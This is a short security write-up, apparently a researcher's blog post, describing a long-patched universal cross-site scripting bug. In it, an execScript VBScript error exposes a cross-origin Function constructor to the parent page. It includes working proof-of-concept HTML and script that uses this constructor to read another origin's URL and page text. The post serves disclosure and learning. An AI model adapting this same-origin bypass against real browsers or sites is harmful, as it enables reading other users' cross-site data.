UXSS: VBScript Error Bubbles Up to Expose Cross-Origin Constructor

This is a VBScript variant of a technique I explored with JavaScript errors. When a cross-origin iframe calls execScript with a VBScript block that attempts to access the parent window, the resulting error propagates into the parent’s onerror handler — carrying a reference to the calling frame’s function constructor. That constructor can then be used to evaluate arbitrary code in the cross-origin frame’s context.

<!-- parent page -->
<iframe src="http://www.otherdomain.com/vbscript_try_to_access_top.html"></iframe>
<script>
window.onerror = function handleError()
{
    xFunction = handleError.caller.constructor;
    xFunction('alert("document.URL:\\n" + document.URL + "\\n\\ndocument.body.innerText:\\n" + document.body.innerText)')();
    return true;
}
</script>

<!-- vbscript_try_to_access_top.html (cross-origin) -->
<script>
execScript('top.open()', 'VBScript');
// execScript is required here — a <script type="text/vbscript"> block does not trigger the same error path.
</script>

The key detail was that a <script language="vbscript"> block handled the error internally, but execScript('...', 'VBScript') caused the error to escape into the parent’s error handler with an accessible caller chain. From handleError.caller.constructor it was possible to get a cross-origin Function constructor and run code in the frame’s context.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.